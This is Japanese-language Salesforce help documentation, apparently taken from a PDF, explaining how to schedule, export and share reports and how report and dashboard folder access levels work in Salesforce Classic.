Salesforce Classic でのレポートのスケジュール
Salesforce1 モバイルアプリケーション通知
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Salesforce Classic でのレポートのスケジュール

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

毎日、毎週、または毎月、レポートが自動的に実行され、その結果を参照する
必要のあるユーザに自動的に送信されるように設定すれば、自分でログインし、
レポートを開始するよう覚えておく必要がなくなります。

1. レポートの更新のスケジュール設定
レポートを日、週、または月単位で実行するようにスケジュールします。レ
ポートの HTML バージョンを組織のユーザにメール送信できます。

2. レポートのスケジュールの表示
[スケジュールレポート] ページまたは [レポート] タブで、レポートのスケ
ジュールを表示します。[設定] で組織のすべてのレポートスケジュールを表
示します。

3. レポートのスケジュールの管理
[スケジュールレポート] ページで、スケジュール済みレポートを作成、変更、
表示、または削除します。

4. レポートのスケジュールの変更
[スケジュールレポート] ページで、すでにスケジュールされたレポートに変
更を加えます。

5. レポートのスケジュールの削除
スケジュール済みレポートを選択し、スケジュールを解除して実行スケジュールを削除します。

6. レポートのスケジュールのヒント
レポートをスケジュールするときに留意する、タイミング、制限、およびメール通知に関するいくつかの
ヒントです。

関連トピック:

レポートの更新のスケジュール設定
レポートのスケジュールの変更
レポートのスケジュールの削除
レポートのスケジュールの管理
レポートのスケジュールのヒント
レポートのスケジュールの表示
Salesforce Classic でのレポート通知の受信登録
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レポートの更新のスケジュール設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

レポートを日、週、または月単位で実行するようにスケジュールします。レポー
トの HTML バージョンを組織のユーザにメール送信できます。
1. [レポート] タブで、レポート名をクリックします。
2. [レポート実行] ドロップダウンメニューから [実行のスケジュール] をクリッ

クします。
新規レポートを作成する場合、スケジュールする前に、レポートをフォルダ
に保存するように求められます。レポートフォルダがグループで共有されて
いる場合、グループ全体でしかレポートをスケジュールできません。個々の
グループメンバーのレポートをスケジュールするには、レポートフォルダを
そのメンバーと共有します。

3. [スケジュールレポート] ページで、レポートが保存されているフォルダにア
クセスできる実行ユーザを指定します。
実行ユーザのアクセス権によって、ポータルユーザを含む他のユーザがスケ
ジュールされたレポートの実行結果を受け取ったときに表示される内容が決
定します。つまり、すべてのユーザが全項目を参照できるわけではなく、実
行ユーザは他のユーザが参照できない項目を参照できる場合があります。送
信されたレポートには、実行ユーザが参照できて、他のユーザが参照できな
い項目が示されます。自分以外の実行ユーザを指定するには、「すべてのデータの参照」権限が必要です。

メモ: 実行ユーザが無効になると、レポートが実行されません。Salesforce から、ユーザを有効にする
か、レポートスケジュールを削除するか、または実行ユーザを有効な実行ユーザに変更するよう求め
るメール通知が送信されます。Salesforce からの通知は、「ユーザの管理」権限、「すべてのデータの
編集」権限、および「請求情報の管理」権限を持つユーザに送信されます。これらのすべてのユーザ
権限を持つユーザがいない場合は、Salesforce から「ユーザの管理」権限と「すべてのデータの編集」
権限を持つユーザに通知が送信されます。

4. メール設定を選択します。

To選択

ユーザプロファイルで指定した自分のメールアドレスにレポー
トを送信します。

自分に送信

他のユーザにもレポートを送信します。自分か他のユーザまたはその両方に送信

レポートは、Salesforceユーザレコードに記載されているメールアドレスにのみ送信できます。ポータルユー
ザがメールで送信されたレポートを受信すると、レポートスケジュールで設定された実行ユーザと同じデー
タが表示されます。共有したくない情報がある場合は、ポータルユーザを実行ユーザとして指定して、レ
ポートの実行をスケジュールします。

メモ: ポータルユーザは、[ポータルユーザへのレポートとダッシュボードの送信を許可] オプションが
有効な場合にのみ、レポートとダッシュボードの更新メール通知を受け取ります。

5. レポートを実行する頻度、期間、および時間を設定します。
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• [頻度] 項目で、[毎日]、[毎週]、または [毎月] を選択して、頻度の条件を指定します。
• [開始]および [終了]項目で、レポートのスケジュールの日付範囲を指定します。現在の日付を入力す

るには、日付を示すリンクをクリックします。
• [希望開始時刻] の横にある [選択可能なオプション] をクリックして、開始時刻を選択します。
他のユーザが、すでにその時刻をレポートスケジュール時刻として選択している場合には、その希望開始
時刻を選択できない場合があります。

6. [レポートスケジュールを保存] をクリックします。選択できるオプションは、次のとおりです。

To選択

レポートのスケジュールとレポートに行った変更を保存しま
す。

このスケジュールでレポートの変更を保存

スケジュールのみを保存します。レポートに行った変更は、
破棄されます。

レポートの変更を破棄

レポート受信者は、メールで送信されたレポート上でレポート名をクリックして、Salesforceにログインし、レ
ポートを直接参照できます。

関連トピック:

レポートのスケジュールの管理
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レポートのスケジュールの表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

組織にあるすべてのスケ
ジュール済みレポートを
表示する
• 「設定・定義を参照す

る」

[スケジュールレポート] ページまたは [レポート] タブで、レポートのスケジュー
ルを表示します。[設定] で組織のすべてのレポートスケジュールを表示します。
• [レポート] タブでレポートのスケジュールを表示するには、スケジュール

列の にマウスを合わせます。
そうすると、頻度と次の実行の日付が表示されます。
「レポートのスケジュール」権限を持たないユーザは、このアイコンと情報
を参照できません。

• [スケジュールレポート] ページでレポートの実行スケジュールを表示する手
順は、次のとおりです。
1. [レポート] タブでスケジュール済みレポート名をクリックします。
2. [レポート実行] ドロップダウンメニューから [実行のスケジュール] をク

リックします。
• 組織のすべてのスケジュール済みレポートを表示するには、[設定] から、[ク

イック検索]ボックスに「スケジュール済みジョブ」と入力し、[スケジュール
済みジョブ] を選択します。
「設定・定義を参照する」権限を持っているユーザのみがこの情報を参照で
きます。

関連トピック:

レポートのスケジュールの管理
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レポートのスケジュールの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

スケジュール済みレポー
トの実行を削除する
• 「すべてのデータの編

集」

[スケジュールレポート] ページで、スケジュール済みレポートを作成、変更、表
示、または削除します。
[スケジュールレポート] ページでは、次の操作を実行できます。
• 新規または既存のレポートの実行をスケジュールし、その結果を他のユーザ

に送信する。
• 以前にスケジュールされたレポートのスケジュールを変更する。
• 組織のすべてのレポートのスケジュール済みジョブを参照するか、選択され

た 1 つのレポートのスケジュールを参照する。
• 選択されたレポートの実行スケジュールを削除する。
追加のスケジュール済みレポートを購入できます。

関連トピック:

レポートの更新のスケジュール設定

レポートのスケジュールの変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

[スケジュールレポート] ページで、すでにスケジュールされたレポートに変更を
加えます。
1. [レポート] タブで、スケジュール済みのレポートの名前をクリックします。
2. [レポート実行] ドロップダウンメニューから [実行のスケジュール] をクリッ

クします。
3. [スケジュールレポート] ページで必要な変更を加えます。
4. [レポートスケジュールを保存] をクリックします。

関連トピック:

レポートのスケジュールの管理
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レポートのスケジュールの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

スケジュール済みレポー
トの実行を削除する
• 「すべてのデータの編

集」

スケジュール済みレポートを選択し、スケジュールを解除して実行スケジュー
ルを削除します。
1. [レポート] タブで、スケジュール済みのレポートの名前をクリックします。
2. [レポート実行] ドロップダウンメニューから [実行のスケジュール] をクリッ

クします。
3. [レポートのスケジュールを解除] をクリックします。

レポートの実行スケジュールはキャンセルされますが、ごみ箱には送信され
ません。

関連トピック:

レポートのスケジュールの管理

レポートのスケジュールのヒント

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レポートをスケジュールするときに留意する、タイミング、制限、およびメー
ル通知に関するいくつかのヒントです。

レポート実行のスケジュール
•

[レポート] タブで、スケジュール列 ( ) の にマウスを合わせ、レポー
トのスケジュールを表示します。「レポートのスケジュール」権限を持たな
いユーザは、このアイコンと情報を参照できます。

• 結合レポートにスケジュールを作成することはできません。
• 組織のスケジュール済みレポートは、200 個までに制限されています。毎日

の制限は、エディションによって異なります。追加のスケジュール済みレ
ポートを購入できます。

• スケジュール済みレポートは、スケジュールを設定したユーザのタイムゾーンに基づいて実行されます。
たとえば、ユーザレコードの [タイムゾーン]項目が太平洋標準時間に設定されている場合に、毎日 2:00 PM

にレポートを実行するようにスケジュールすると、レポートは、太平洋標準時間の毎日 2:00 PM から 2:29 PM

の間に更新されます。
• 以前スケジュールしたタイムゾーンとは別のタイムゾーンでスケジュールを表示し、保存する場合、時間

枠が変わる場合があります。
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• 毎月の特定の日にレポートを実行するようにスケジュールした場合、そのレポートは、その日を含む月に
のみ更新されます。たとえば、毎月 31 日にレポートを実行するようにスケジュールした場合、そのレポー
トは、31 日を含む月にのみ実行されます。毎月月末にレポートをスケジュールする場合には、[毎月の指定
日] ドロップダウンリストから [最終] を選択します。

• [希望開始時刻]で選択した時間から 30 分以内にレポートが実行されます。たとえば、希望開始時刻として
午後 2 時を選択した場合、そのレポートは、その時刻にスケジュールされている他のレポートの数に基づ
いて、午後 2 時から午後 2 時 29 分の間に実行されます。

• レポートのスケジュール設定は、監査履歴に記録されません。

スケジュール済みレポートのメール送信
• メールで送信されるレポートには、レポートグラフは含まれません。レポートのグラフをメールで送信す

るには、ダッシュボードを作成し、ダッシュボードの更新をスケジュールします。
• レポートには、ブラウザと同じように最初の 2,000 レコードのみが表示されます。
• Outlook 2007 の制限: 横 22 インチを超えるテーブルや、63 列を超えるテーブルを含むレポートメールは、正

しく表示されない場合があります。
• メールで送信されるレポートの最大サイズは 10 MB です。レポートのデータ量を減らすには、次の方法を

試してください。
– すべてのレコードではなく、所有するレコードに絞り込む。
– データを特定の日付範囲に限定する。
– レポートから不要な列を除外する。
– レポートの詳細を非表示にする。

関連トピック:

ダッシュボードの更新のスケジュール設定
レポートのスケジュールの管理

レポートの実行および参照

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

レポートの名前をクリックして実行します。レポートを実行したら、情報を参
照するのに役立つ一連のツールを使用できます。
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レポートのエクスポート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートをエクスポート
する
• 「レポートのエクス

ポート」

スプレッドシートなどの専用ツールでレポートデータを操作する場合は、レポー
トデータを Microsoft Excel ® (.xls) またはカンマ区切り値 (.csv) ファイルとしてエ
クスポートします。
カンマ区切り値 (.csv) 形式でレポートをエクスポートするときは、ユーザ詳細
ページのロケールの設定によってエクスポートファイルに含まれる項目の区切
り文字が決まります。たとえば、ロケール設定が英語 (アメリカ) である場合は
小数点はピリオド (「.」) となり、フランス語 (フランス) である場合はカンマ
(「,」) となります。[形式] ドロップダウンリストから [カンマ区切り形式 (非ロ
ケール) (.csv)] を選択すると、ロケールのデフォルトの区切り文字を上書きでき
ます。
Excel では、.csv 形式に項目の区切り文字は表示されません。Excel で、.csv

ファイルを使用する場合は、Salesforce のロケールの設定を Windows の [地域オプ
ション] 設定と一致させることをお勧めします。
1. [レポート] で、エクスポートするレポートの横にある [ ] > [エクスポート]

をクリックします。
• Internet Explorer で、[暗号化されたページをディスクに保存しない] オプショ

ンが設定されている場合、レポートをオンラインで Excel に開くことはで
きません。代わりに、エクスポートしたレポートをコンピュータに保存
して、Excel で開きます。Internet Explorer でこの設定を変更するには、イン
ターネットオプションの [暗号化されたページをディスクに保存しない] を選択解除します。

• 結合形式のレポートをエクスポートすることはできませんが、[印刷用に表示] を選択することはできま
す。

2. 使用言語に適切な [文字コード] を設定します。
3. [形式] を [Excel 形式(.xls)] または [カンマ区切り形式 (.csv)] に設定します。
4. [エクスポート] をクリックします。
5. ブラウザダイアログで要求された場合は、ファイルの保存を選択します。

1 つのレポートで最大 256 列、65,536 行のデータをエクスポートできます。

エクスポートされたレポートがダウンロードされます。

メモ: セキュリティ上の理由から、Salesforce は組織からデータをエクスポートするときに CAPTCHA ユーザ
認証テストを要求することがあります。簡単なテキスト入力型のテストで、悪意のあるプログラムによ
る組織のデータへのアクセスを回避します。このテストに合格するには、表示された 2 語をフロート表示
のテキストボックスに正確に入力する必要があります。テキストボックスに入力する語は、スペースで
区切る必要があります。

関連トピック:

バックグラウンドでのレポートの実行
レポートの印刷
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レポートの共有

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

レポートを同僚と共有し、全員で同じ情報を使用できるようにします。

メモ: フォルダを操作する場合、Lightning Experienceの次の制限に留意してく
ださい。
Lightning Experience で使用できない機能

Lightning Experience 機能に関する
留意事項

機能

標準フォルダ (Salesforce にパッケー
ジ化されているデフォルトのレ
ポートとダッシュボードを含む)

ユーザは Lightning Experience ダッ
シュボードエディタからフォルダ

フォルダ間でのレポートの移動

間でダッシュボードを移動できま
すが、レポートを移動するには
Salesforce Classicに切り替える必要が
あります。

Salesforce Classicで作成されたフォル
ダとそのコンテンツは Lightning

レポートフォルダとダッシュボー
ドフォルダの作成および削除

Experienceで使用できます。レポー
トやダッシュボードの作成または
コピー時、ユーザはこれらのフォ
ルダ内に保存することができま
す。

Salesforce Classicのフォルダに対する
共有権限セットは Lightning

レポートフォルダおよびダッシュ
ボードフォルダの共有

Experienceでも有効ですが、共有権
限の設定や変更を行うことはでき
ません。

Lightning Experience では、ユーザは
レポートフォルダとダッシュボー

レポートフォルダおよびダッシュ
ボードフォルダの検索

ドフォルダの検索ができません。
グローバル検索の結果にはレポー
トとダッシュボードが含まれます
が、レポートフォルダとダッシュ
ボードフォルダは含まれません。
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1. レポートとダッシュボードの共有
レポートおよびダッシュボードは、フォルダから共有されます。共有するのはフォルダであり、レポート
またはダッシュボードそのものではありません。他のユーザにレポートまたはダッシュボードの作業を許
可するには、レポートまたはダッシュボードが格納されたフォルダへの閲覧者、エディタ、またはマネー
ジャとしてのアクセス権を付与します。

2. レポートの配信
レポートの情報を、それを必要とする人々に伝えるために、レポートの URL を共有し、Chatter フィードで
レポートを使用できるようにしたり、データを Excel などの別個のツールにエクスポートしたりできます。
また、利用者が常に最新の情報を入手できるように、スケジュールに従ってレポートを実行するように設
定できます。

3. 埋め込まれたレポートグラフ
通常、ユーザは [レポート] タブに移動して、データを見つける必要があります。ただし、頻繁にアクセス
するページで、貴重な情報をユーザに直接提供することもできます。そのためには、オブジェクトの詳細
ページにレポートグラフを埋め込みます。ページにグラフが表示されると、ユーザは他の場所にアクセス
することなく、ページのコンテキストで表示されるデータに基づいて意思決定を行うことができます。た
とえば、商談レコードでは、重要なデータが詳細ページに直接表示されます。

レポートとダッシュボードの共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

レポートおよびダッシュボードは、フォルダから共有されます。共有するのは
フォルダであり、レポートまたはダッシュボードそのものではありません。他
のユーザにレポートまたはダッシュボードの作業を許可するには、レポートま
たはダッシュボードが格納されたフォルダへの閲覧者、エディタ、またはマネー
ジャとしてのアクセス権を付与します。

メモ:

• Lightning Experience では、ユーザはレポートフォルダおよびダッシュボー
ドフォルダの共有ができません。Salesforce Classic のフォルダに対する共
有権限セットはすべて Lightning Experience でも有効です。

• この共有ドキュメントのセットは、分析フォルダの拡張共有が有効な組
織向けです。分析フォルダの拡張共有によって、レポートフォルダおよ
びダッシュボードフォルダに詳細なアクセス権が付与されます。組織が
Summer '13 Salesforce リリースより後に作成された場合、すでに分析フォ
ルダの拡張共有が有効になっています。組織で分析フォルダの拡張共有
が有効になっていない場合は、Salesforce ヘルプの「レポートとダッシュ
ボードの拡張共有の有効化」を参照してください。

1. レポートフォルダまたはダッシュボードフォルダの共有
他のユーザがレポートまたはダッシュボードを使用できるようにするには、それらが含まれるフォルダを
共有します。各ユーザ、公開グループ、またはロールに、それぞれフォルダへの妥当なアクセス権を付与
します。
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2. レポートおよびダッシュボードフォルダのアクセス権
各ユーザ、グループ、またはロールには、それぞれ独自にレポートおよびダッシュボードフォルダへのア
クセス権があります。閲覧者はデータを表示でき、エディタは表示されるデータを決定し、マネージャは
アクセス権を制御できます。

3. レポートおよびダッシュボードフォルダのアクセス権の比較
このチャートは、閲覧者、エディタ、およびマネージャアクセス権によってユーザがレポートおよびダッ
シュボードフォルダに対して実行できる操作を概観するために使用します。

4. レポートおよびダッシュボードの共有に関するユーザ権限
レポートフォルダまたはダッシュボードフォルダへの各アクセスレベルは、特定のユーザ権限の組み合わ
せで構成されます。システム管理者は、1 つ以上の権限を割り当てるか削除することによって、ダッシュ
ボードおよびレポートへのユーザアクセスをさらに調整できます。

レポートフォルダまたはダッシュボードフォルダの共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レポートフォルダを共有
する
• 「マネージャ」フォル

ダアクセス権または
「公開フォルダのレ
ポートを管理」

ダッシュボードフォルダ
を共有する
• 「マネージャ」フォル

ダアクセス権または
「公開フォルダのダッ
シュボードを管理」

他のユーザがレポートまたはダッシュボードを使用できるようにするには、そ
れらが含まれるフォルダを共有します。各ユーザ、公開グループ、またはロー
ルに、それぞれフォルダへの妥当なアクセス権を付与します。

メモ: 他のユーザにフォルダへのアクセス権を付与するには、そのフォル
ダへのマネージャアクセス権か、(そのレポートフォルダへの) 「公開フォ
ルダのレポートを管理」権限または (ダッシュボードフォルダへの) 「公開
フォルダのダッシュボードを管理」権限が必要です。

フォルダを作成すると、作成者がそのフォルダのマネージャになります。フォ
ルダを表示できるのは、作成者とシステム管理者権限を持つ他のユーザのみで
す。
フォルダにマネージャアクセス権がない場合、フォルダは公開されており、「公
開フォルダのレポートを参照」権限を持つユーザはそのフォルダを表示できま
す。ユーザは、そのオブジェクトアクセス権に応じて、レポートを実行するこ
ともできます。
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(1) ユーザ、ユーザグループ、またはロールによってフォルダを共有します。(2) 各ユーザ、グループ、または
ロールに付与するアクセス権を選択します。(3) ユーザ、グループ、またはロールとのフォルダ共有を停止し

ます。

1. 個人ユーザとのレポートまたはダッシュボードの共有
レポートフォルダまたはダッシュボードフォルダを 1 人か 2 人のユーザのみと共有する場合、各ユーザに
個別にアクセス権を付与します。

2. グループとのレポートまたはダッシュボードの共有
分析フォルダに複数のユーザがアクセスする必要がある場合、そのフォルダを公開グループと共有します。
それにより、共有先の個々のユーザを追跡する必要がなくなります。

3. ロールによるレポートまたはダッシュボードの共有
ユーザにそのロールによってレポートフォルダまたはダッシュボードフォルダへのアクセス権を付与する
と、ユーザまたはグループを追跡せずに、アクセス権を持つユーザを制御できます。

関連トピック:

レポートおよびダッシュボードフォルダのアクセス権
レポートおよびダッシュボードの共有に関するユーザ権限
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個人ユーザとのレポートまたはダッシュボードの共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

内部ユーザとレポート
フォルダを共有する
• 「マネージャ」フォル

ダアクセス権または
「公開フォルダのレ
ポートを管理」

内部ユーザとダッシュ
ボードフォルダを共有す
る
• 「マネージャ」フォル

ダアクセス権または
「公開フォルダのダッ
シュボードを管理」

レポートフォルダまたはダッシュボードフォルダを 1 人か 2 人のユーザのみと共
有する場合、各ユーザに個別にアクセス権を付与します。
1. [レポート] タブで、左ペインのレポートフォルダにマウスポインタを置き、

をクリックして、[共有] を選択します。
2. [内部ユーザ] を選択します。

メモ: 内部ユーザには、カスタマーポータルユーザとパートナーポータ
ルユーザは含まれません。

3. 必要なユーザを見つけ、[共有] をクリックし、アクセス権を選択します。
検索するには、名前の入力を開始します。

4. [完了] をクリックし、変更を確認して、[閉じる] をクリックします。
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グループとのレポートまたはダッシュボードの共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

公開グループとレポート
フォルダを共有する
• 「マネージャ」フォル

ダアクセス権または
「公開フォルダのレ
ポートを管理」

公開グループとダッシュ
ボードフォルダを共有す
る
• 「マネージャ」フォル

ダアクセス権または
「公開フォルダのダッ
シュボードを管理」

分析フォルダに複数のユーザがアクセスする必要がある場合、そのフォルダを
公開グループと共有します。それにより、共有先の個々のユーザを追跡する必
要がなくなります。
1. [レポート] タブで、左ペインのレポートフォルダにマウスポインタを置き、

をクリックして、[共有] を選択します。
2. [公開グループ] を選択します。
3. 必要なグループを見つけ、[共有] をクリックします。

検索するには、名前の入力を開始します。

4. このグループに付与する共有レベルを選択します。

メモ: ポータルユーザは、レポートに対する閲覧者アクセス権のみを持
つことができ、ダッシュボードは使用できません。

5. [完了] をクリックし、変更を確認して、[閉じる] をクリックします。
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ロールによるレポートまたはダッシュボードの共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ロールまたはロールと下
位ロールでレポートフォ
ルダを共有する
• 「マネージャ」フォル

ダアクセス権または
「公開フォルダのレ
ポートを管理」

ロールまたはロールと下
位ロールでダッシュボー
ドフォルダを共有する
• 「マネージャ」フォル

ダアクセス権または
「公開フォルダのダッ
シュボードを管理」

ユーザにそのロールによってレポートフォルダまたはダッシュボードフォルダ
へのアクセス権を付与すると、ユーザまたはグループを追跡せずに、アクセス
権を持つユーザを制御できます。
レポートフォルダまたはダッシュボードフォルダへのアクセス権を、あるロー
ルのユーザ、またはそれらのユーザとそのロールの下位ロールのユーザに付与
できます。
たとえば、販売の統括責任者ロールとその下位ロールにダッシュボードフォルダ
への閲覧者アクセス権があり、ロール自体 (販売の統括責任者) にはフォルダへ
のマネージャアクセス権があるとします。つまり、販売の統括責任者ロールの
ユーザには、ロール階層で下位にあるロールを持つユーザよりも高い権限があ
ります。販売の統括責任者が退職すると、そのロールを引き継いだ後任者がフォ
ルダのダッシュボードを管理できるようになります。
1. [レポート] タブで、左ペインのレポートフォルダにマウスポインタを置き、

をクリックして、[共有] を選択します。
2. [ロール] または [ロール & 下位ロール] を選択します。

• 該当するロールを持つすべてのユーザにアクセス権を付与する場合は[ロー
ル] を選択します。

• 該当するロールを持つユーザとロール階層でその下位にあるロールを持
つ全員にアクセス権を付与する場合は、[ロール & 下位ロール]を選択しま
す。

3. 必要なロールを見つけ、[共有] をクリックし、アクセス権を選択します。
検索するには、名前を入力します。

4. [完了] をクリックし、変更を確認して、[閉じる] をクリックします。
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レポートおよびダッシュボードフォルダのアクセス権

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

各ユーザ、グループ、またはロールには、それぞれ独自にレポートおよびダッ
シュボードフォルダへのアクセス権があります。閲覧者はデータを表示でき、
エディタは表示されるデータを決定し、マネージャはアクセス権を制御できま
す。

ヒント: レポートやダッシュボードを共有する準備ができていない場合は、
自分だけがアクセスできる個人フォルダに保存しておきます。各ユーザ用
に「私の非公開カスタムレポート」フォルダと「私の非公開ダッシュボー
ド」フォルダがあらかじめ設定されています。必要に応じて他のフォルダ
を作成できます。作成したフォルダには、共有するまで、自分とシステム
管理者権限を持つユーザのみがアクセスできます。

1. レポートおよびダッシュボードフォルダへの閲覧者アクセス権
閲覧者のアクセス権があると、レポートまたはダッシュボードのデータを表
示することができますが、新しいレポートまたはダッシュボードにコピーする以外の変更はできません。
すべてのユーザは、共有されているレポートフォルダまたはダッシュボードフォルダについて少なくとも
閲覧者としてのアクセス権を持っています (一部のユーザが、より大きなアクセス権を与える管理者ユーザ
権限を持っている可能性があります)。

2. レポートおよびダッシュボードフォルダへのエディタアクセス権
フォルダのエディタは、そのフォルダのレポートおよびダッシュボードを表示して変更したり、エディタ
またはマネージャとしてのアクセス権を持つ任意の他のフォルダ間で移動したりすることができます。

3. レポートおよびダッシュボードフォルダへのマネージャアクセス権
マネージャのアクセス権がある場合は、閲覧者およびエディタができる操作に加えて、他のユーザによる
フォルダへのアクセスを制御したり、フォルダのプロパティを変更したり、フォルダを削除したりできま
す。

関連トピック:

レポートフォルダまたはダッシュボードフォルダの共有
レポートおよびダッシュボードフォルダのアクセス権の比較
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レポートおよびダッシュボードフォルダへの閲覧者アクセス権

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

閲覧者のアクセス権があると、レポートまたはダッシュボードのデータを表示
することができますが、新しいレポートまたはダッシュボードにコピーする以
外の変更はできません。すべてのユーザは、共有されているレポートフォルダ
またはダッシュボードフォルダについて少なくとも閲覧者としてのアクセス権
を持っています (一部のユーザが、より大きなアクセス権を与える管理者ユーザ
権限を持っている可能性があります)。
たとえば、営業担当者のサミールは、Master Sales ダッシュボードに表示される営
業ランキング表で自分の順位をチェックするのが毎朝の日課です。最新の順位
を表示するにはダッシュボードを更新する必要があります。そのため、サミー
ルは基本となるレポートのデータを参照できなければなりません。ただし、ダッ
シュボードのレポートを編集することはありません。サミールに必要なのは、
Master Sales ダッシュボードが含まれるフォルダへの閲覧者アクセス権のみです。

レポートおよびダッシュボードフォルダへのエディタアクセス権

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フォルダのエディタは、そのフォルダのレポートおよびダッシュボードを表示
して変更したり、エディタまたはマネージャとしてのアクセス権を持つ任意の
他のフォルダ間で移動したりすることができます。
たとえば、営業マネージャのアリソンは、3 つの地域チームそれぞれに異なる
セールスダッシュボードを提供したいと考えています。アリソンには、基本と
なるレポートを適切なフォルダに移動して変更し、適切なデータを表示できる
ように、Master Sales ダッシュボードが含まれるフォルダへのエディタアクセス権
が必要です。また、「ダッシュボードの作成とカスタマイズ」ユーザ権限も必
要です。

メモ: 標準レポートフォルダへのエディタアクセス権は付与できません。
すべてのユーザには、デフォルトでこれらのフォルダへの閲覧者アクセス
権があります。

レポートおよびダッシュボードフォルダへのマネージャアクセス権

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

マネージャのアクセス権がある場合は、閲覧者およびエディタができる操作に
加えて、他のユーザによるフォルダへのアクセスを制御したり、フォルダのプ
ロパティを変更したり、フォルダを削除したりできます。
たとえば、営業担当システム管理者のアランは、大量のレポートを管理してお
り、それらすべてに個別に注意を払わなければなりません。そこで、Regional

Reports というレポートフォルダを作成しました。作成者であるため、アランに
は自動的にフォルダへのマネージャ権限が付与されました。Sales Reps という公
開グループには、閲覧者アクセス権を付与しました。営業マネージャのアリソ
ンにも、フォルダへのマネージャ権限を付与しました。

メモ: 標準レポートフォルダへのマネージャアクセス権は付与できません。
すべてのユーザには、デフォルトでこれらのフォルダへの閲覧者アクセス
権があります。
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レポートおよびダッシュボードフォルダのアクセス権の比較

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

このチャートは、閲覧者、エディタ、およびマネージャアクセス権によってユー
ザがレポートおよびダッシュボードフォルダに対して実行できる操作を概観す
るために使用します。

マネー
ジャ

エディタ閲覧者

フォルダ内のレポートまたはダッシュボー
ドを表示する

フォルダ内のレポートを実行する

フォルダ内のダッシュボードを更新する

フォルダ内の自分のレポートまたはダッシュ
ボードを変更/移動/削除する

フォルダに対して誰がどのようなアクセス
権を持っているかを確認する

他のユーザが作成した、フォルダ内のレポー
トまたはダッシュボードを変更/移動/削除す
る

メモ: 組織で拡張フォルダ共有がオン
の場合、ダッシュボードを変更するに
は「すべてのデータの参照」権限も必
要です。

フォルダの名前を変更する

フォルダの共有設定を変更する

関連トピック:

レポートとダッシュボードの拡張共有の有効化
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レポートおよびダッシュボードの共有に関するユーザ権限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レポートフォルダまたはダッシュボードフォルダへの各アクセスレベルは、特
定のユーザ権限の組み合わせで構成されます。システム管理者は、1 つ以上の権
限を割り当てるか削除することによって、ダッシュボードおよびレポートへの
ユーザアクセスをさらに調整できます。
分析フォルダ共有が有効であると、より高いシステム管理者権限を持つユーザ
を除き、レポートフォルダまたはダッシュボードフォルダへの閲覧者アクセス
権がすべてのユーザに付与されます。さらに広範囲の権限をユーザに付与する
には、必要に応じて [エディタ] フォルダまたは [マネージャ] フォルダへのアク
セス権を付与し、レポートおよびダッシュボードのユーザ権限を付与します。

説明ユーザ権限

[私の非公開ダッシュボード] フォルダでダッ
シュボードを作成、編集、削除します。共有

ダッシュボードの作成とカスタ
マイズ

権限が許可されている場合、任意の共有フォ
ルダでダッシュボードを作成および保存しま
す。

[私の非公開カスタムレポート] フォルダでレ
ポートを作成、編集、削除します。共有権限

レポートの作成とカスタマイズ

が許可されている場合、任意の共有フォルダ
でレポートを作成および保存します。

共有権限が許可されている場合、ダッシュボー
ドフォルダを作成および管理します。

ダッシュボードフォルダを作成

共有権限が許可されている場合、レポートフォ
ルダを作成および管理します。

レポートフォルダを作成

